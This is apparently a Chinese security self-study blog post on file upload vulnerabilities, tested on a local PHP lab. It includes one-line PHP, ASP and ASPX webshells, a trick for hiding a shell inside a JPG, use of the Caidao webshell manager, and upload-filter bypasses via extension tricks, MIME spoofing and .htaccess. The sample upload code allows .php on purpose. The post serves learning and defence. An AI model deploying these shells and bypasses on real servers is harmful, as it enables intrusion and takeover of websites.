这是做者的系列网络安全自学教程,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友共勉,但愿您们喜欢,一块儿进步。前文分享了Sqlmap的基本用法、CTF实战,包括设置HTTP、POST请求、参数分割、设置Cookie等。本篇文章详细讲解了文件上传漏洞,经过本地环境搭建介绍相关原理及Caidao的基本用法。php
做者做为网络安全的小白,分享一些自学基础教程给你们,但愿您们喜欢。同时,更但愿您能与我一块儿操做共同进步,后续也将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是对您有帮助,将是我最大的鼓励。html
PS:本文参考了B站、51CTO学院和参考文献中的文章,并结合本身的经验进行撰写,也推荐你们阅读参考文献。git
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-studygithub
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)web
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包正则表达式
该篇文章参考了如下文献,很是推荐你们阅读这些大牛的文章和视频:
https://github.com/eastmountyxz
《Web安全深度剖析》《黑客攻防技术宝典浏览器实战篇》
https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)
https://www.bilibili.com/video/av63038037 (B站HACK学习)
https://www.bilibili.com/video/av68215785 (2019 网络安全/黑客基础课程新手入门必看)
2019/Web安全/漏洞挖掘/信息收集/SQLMAP/SSRF/文件上传/逻辑漏洞 (B站强推)
https://blog.csdn.net/weixin_42380348/article/details/89199344
一句话木马、中国菜刀、图片一句话制做、过狗一句话 - 汉堡阿汉堡
2019文件上传漏洞专题渗透入门网络安全黑客web攻防详解 (FoxB站强推)算法
声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。shell
Web应用程序一般会有文件上传的功能,例如,在BBS发布图片、在我的网站发布压缩包、在招聘网站发布DOC格式简历等。只要Web应用程序容许上传文件,就有可能存在文件上传漏洞。数据库
文件上传漏洞与SQL注入相比,其风险更大,若是Web应用程序存在文件上传漏洞,攻击者甚至能够直接上传一个WebShell到服务器上。那么,如何确认Web应用程序是否存在上传漏洞呢?好比,个人网站是一个BBS论坛,由PHP编写,用户能够上传本身的个性化头像,也就是图片文件,但文件上传时并无对图片格式作验证,致使用户能够上传任意文件,那么这就是一个漏洞。以下图所示,经过文件上传漏洞获取了整个网站的目录。apache
在这篇文章中,做者仅简单介绍文件上传漏洞的基础知识,后面还会陆续分享几篇博文,详细讲解各类文件上传漏洞的案例及防护措施。基础文章,但愿对想成为白帽子或安全工程师的博友有所帮助。下图展现了网络安全涉及的各类技术:
首先,做者简单搭建了一个本地PHP的服务器环境,读者也能够尝试远程服务器进行测试。
很是遗憾,最终案例是失败的,但基本的流程和方法原理相似,也但愿对您有所帮助。
第一步,安装XAMPP软件,Apache+MySQL+PHP实现服务器搭建。
第二步,点击Apache运行,以下图所示,而后点击文件夹“Explorer”图标。该文件夹将存放咱们的PHP文件,它是一个本地的服务器,固然您也能够将您的PHP文件上传到远程服务器上。
第三步,放入咱们的两个PHP文件。
index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件执行上传操做。
<!DOCTYPE html> <html> <head> <title>文件上传</title> <meta charset="utf-8"> </head> <body> <center> <!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 传输文件须要设置--> <form action="upload_server.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="max_file_size" value="1048576"> <input type="file" name="file"> <input type="submit" name="上传"> </form> </center> </body> </html>
upload_server.php是具体的上传操做,代码以下所示,调用move_uploaded_file函数实现上传。具体参考CSDN阿南大神的文章,也很是推荐你们阅读。
原文地址:https://blog.csdn.net/weixin_42380348/article/details/89199344
<?php header("content-type:text/html;charset=utf-8"); //设置时区 date_default_timezone_set('PRC'); //获取文件名 $filename = $_FILES['file']['name']; //获取文件临时路径 $temp_name = $_FILES['file']['tmp_name']; //获取大小 $size = $_FILES['file']['size']; //获取文件上传码,0表明文件上传成功 $error = $_FILES['file']['error']; //判断文件大小是否超过设置的最大上传限制 if ($size > 2*1024*1024){ // echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>"; exit(); } //phpinfo函数会以数组的形式返回关于文件路径的信息 //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名 $arr = pathinfo($filename); //获取文件的后缀名 $ext_suffix = $arr['extension']; //设置容许上传文件的后缀 $allow_suffix = array('jpg','gif','jpeg','png','php'); //判断上传的文件是否在容许的范围内(后缀)==>白名单判断 if(!in_array($ext_suffix, $allow_suffix)){ //window.history.go(-1)表示返回上一页并刷新页面 echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>"; exit(); } //检测存放上传文件的路径是否存在,若是不存在则新建目录 if (!file_exists('uploads')){ mkdir('uploads'); } //为上传的文件新起一个名字,保证更加安全 //$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix; $new_filename = $filename; //将文件从临时路径移动到磁盘 if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){ echo "<script>alert('文件上传成功!');window.history.go(-1);</script>"; }else{ echo "<script>alert('文件上传失败,错误码:$error');</script>"; } ?>
第四步,访问该目录就能成功实现文件上传功能,以下图所示。
访问地址:http://localhost/eastmount/index.php
点击“选择文件”按钮,选择本地文件并提交。
上传成功以后,能够看到本地的uploads文件夹下有一张图片,而且可以成功访问。
访问地址:http://localhost/eastmount/uploads/mm.jpg
写到这里,一个简单的PHP文件上传功能就实现了,接下来开始讲解文件上传漏洞。
参考前文:[渗透&攻防] 三.数据库之差别备份及Caidao利器
“一句话木马”服务端: 本地存储的脚本木马文件,是咱们要用来将恶意代码上传到服务器网站中执行权限。该语句触发后,接收入侵者经过客户端提交的数据,执行并完成相应的操做。服务端的代码内容为:
<?php eval($_POST[str]); ?> //str为自定义内容
“一句话木马”客户端: 远程服务器上被插入一句话的asp可执行文件。用来向服务端提交控制数据,提交的数据经过服务端构成完整的功能语句并执行,生成咱们须要的木马文件。
一句话木马短小精悍,功能强大且隐蔽性很是好,常见的种类包括asp、php、aspx。以下:
asp一句话木马:<%execute(request(“value”))%> php一句话木马:<?php @eval($_POST[value]);?> aspx一句话木马:<%@ Page Language=“Jscript”%> <%eval(Request.Item[“value”])%> 其余一句话木马:<%eval request(“value”)%> <%execute request(“value”)%> 判断一句话木马:<%If Request(“value”)<>"" Then Execute(Request(“value”))%> 不用双引号的一句话木马:<%eval request(chr(35))%>
下图是一个test.php的文件,它包含了咱们的一句话木马。
因为有些网站上传文件时,会检查你上传文件的头目录,若是你的一句话木马是放在PHP文件中,它很容易被识别出来。这个时候图片一句话木马的做用就体现出来了,后面会更详细的介绍。下面是一张mm.jpg图片文件,咱们想办法要在该文件中加一句话木马。
首先尝试用notepad++打开该图片并添加一句话木马,以下图所示。
虽然添加了这样一句话,木马建立成功了,但此时的图片显示稍微有些模糊。这么模糊的图片不是留下痕迹吗?那怎么处理呢?
为了不模糊,须要经过其余方法执行。第一种方式是使用以下的命令,其中b表示二进制,a表示ascii编码。
copy mm.jpg/b+test.php/a mm1.jpg
在CMD中直接运行,以下图所示。它是在mm.jpg图片中,插入test.php中的一句话木马 <?php eval($_POST[str]); ?> ,并存储为mm1.jpg图片。
以下图所示,这是同一个目录下对应的三个文件。
用Notepad++打开“mm1.jpg”能够看到,里面包含了一句话木马,而且不影响咱们的图片质量。
第二种方法,直接经过uedit软件打开,而后将代码复制至末尾便可。
注意,部分网站是有文件格式解析的,即网站会判断上传的脚本是否能够被执行,某些文件格式是没法被解析的,好比,上传jpg格式的没法被php格式解析。
Caidao软件听说是一个退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各类语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,如今蚁剑和冰蝎Behinder也很是不错,打开Caidao以下图所示。
接着尝试举一个例子,咱们插入带有一句话木马的“mm1.jpg”文件至服务器。
而后再Caidao空白处右键“添加”,设置地址及口令,地址为目标URL,口令为“str”,对应一句话木马 <?php eval($_POST[str]); ?> 。以下图所示:
添加成功以后,选中该行数据,右键“文件管理”应该能查看目标网站的服务器文件目录,惋惜做者失败了!O(∩_∩)O
正确的示例参考以前的文章,以下图所示:
PS:虽然案例失败了,但基本使用方法是同样的,后续做者会搭建远程服务器进行测试,也会继续深刻学习。
最后分享下中国菜刀软件的原理知识,点击某条连接,右键“虚拟终端”。
在虚拟终端中输入命令:ipconfig。
选中该条连接,并复制数据包的内容进行分析。
将抓取的数据包复制出来,以下图所示。
其中,%3DURL编码表示“=”,%2BURL编码表示“+”。
fox=base64表示对POST参数z0进行加密。
用软件Base64解密以后,获得z1的值为cmd。
一样的方法解析传递的z2值,结果以下图所示,包含一条路径及执行的ipconfig命令。
该参数能够经过浏览器POST提交,以下图所示,mantra Portable浏览器也是网络攻防的常见工具。
中国菜刀的基本原理是:往目标网站中加入一句话木马,而后你就能够在本地经过中国菜刀获取和控制整个网站目录。好比,咱们能够把一句话木马插入到网站上的某个asp/aspx/php文件上,或者直接建立一个新的文件,在里面写入这些语句,而后把文件上传到网站上便可。打开中国菜刀,在空白处点击鼠标右键,选择“添加”选项;编辑相关参数,包括一句话木马所在的URL及密码,在URL列表中选中目标网站,点击鼠标右键,选择“文件管理”,能够看到网站的目录结构。
注意:该部份内容参考B站Fox大神的视频,很是推荐你们去学习,详见参考文献。
JS验证用于客户端本地的验证,因此若是你上传一个不正确的文件格式,它的判断会很快显示出来你上传的文件类型不正确。
JS判断代码: οnsubmit=“return checkFile()”
好比,上传其余文件会有相关的错误提示。
核心代码以下所示:
//设置容许上传文件的后缀 $allow_suffix = array('jpg','gif','jpeg','png'); //判断上传的文件是否在容许的范围内(后缀)==>白名单判断 if(!in_array($ext_suffix, $allow_suffix)){ echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>"; exit(); }
第一种方法:删除 checkFile()函数。
第二种方法:尝试在容许上传格式的文件里添加.php格式。
以下图所示,添加以后成功上传。
第三种方法:JS验证本地上传。
拷贝源代码到本地分析,尝试删除JavaScript代码,并指定在action=“”中指定上传地址。 以下图所示,本地新建一个HTML文件并删除JavaScript判断代码,接着指定上传路径运行。
第四种方法:上传容许上传的文件,再用BurpSuite进行抓包改包。
好比,首先上传一个规则的文件“php.jpg”,再用BurpSuite抓包修改成“php.php”,
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
核心做用:服务器判断你上传的是什么文件。其基本类型好比:
下面是使用BurpSuite抓取所上传的JPG文件和PHP文件的类型对比。
某些状况会限制上传文件的类型,此时也须要修改“Content-Type”类型。好比将上传的PHP文件Content-Type修改成“image/jpeg”。
文件扩展名限制是经过客户端黑名单来限制上传文件的类型。
(1) 大小写绕过文件上传
首先,咱们先来了解关于大小写绕过文件上传。顾名思义,大小写是把文件扩展名进行php测试绕过。以下图所示,“1.php”文件上传会被拦截,而修改为“1.phP”后成功上传。
须要注意,Windows和Linux下的两个文件名是不同的,Windows下文件是不区分大小写的,Linux下文件是区分大小写的。
(2) 点、空格绕过文件上传
点和空格是在文件后缀上加上点和空格进行绕过。在文件后缀上添加空格从新命名,会自动删除所谓的空格,点同理会自动删除的,由于可能尝试欺骗服务器验证。系统默认是不支持加空格、加点的,好比“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。
这里须要使用BurpSuite抓包进行操做,以下图所示,将上传的“.php”文件后增长一个空格,再点击Forward进行上传。
一样,增长点或者点和空格交叉的文件也能成功上传。
而且可以成功访问,以下图所示。
(3) htaccess文件绕过上传
.htaccess文件或者“分布式配置文件”提供了针对每一个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令做用于此目录及其全部子目录。
简单来讲,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、容许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。
这里咱们须要用到的是改变文件扩展名,代码以下:
<FilesMatch "fox"> SetHandler application/x-httpd-php </FilesMatch>
这里是把fox名字的文件全都以php来运行,须要特殊文件进行建立,如Notepad++。
首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。
显示以下图所示,由于是以php格式解析的,而不显示成一张jpg图片。
接着打开中国菜刀,获取了该服务器的目录。
现实的两个文件以下图所示:包括 “fox.jpg” 和 “.htaccess”。
写道这里,这篇基础性文章就此结束,后面会继续分享文件上传漏洞,包括php345文件绕过上传、Windows ::$DATA绕过、apache解析漏洞上传等。最后但愿基础性文章对您有所帮助,做者也是这个领域的菜鸟一枚,但愿与您共同进步,共勉。
白天实验室忙碌,晚上出门捡到个大美女。下周办会,继续忙碌~
(By:Eastmount 2019-12-08 晚上9点 http://blog.csdn.net/eastmount/ )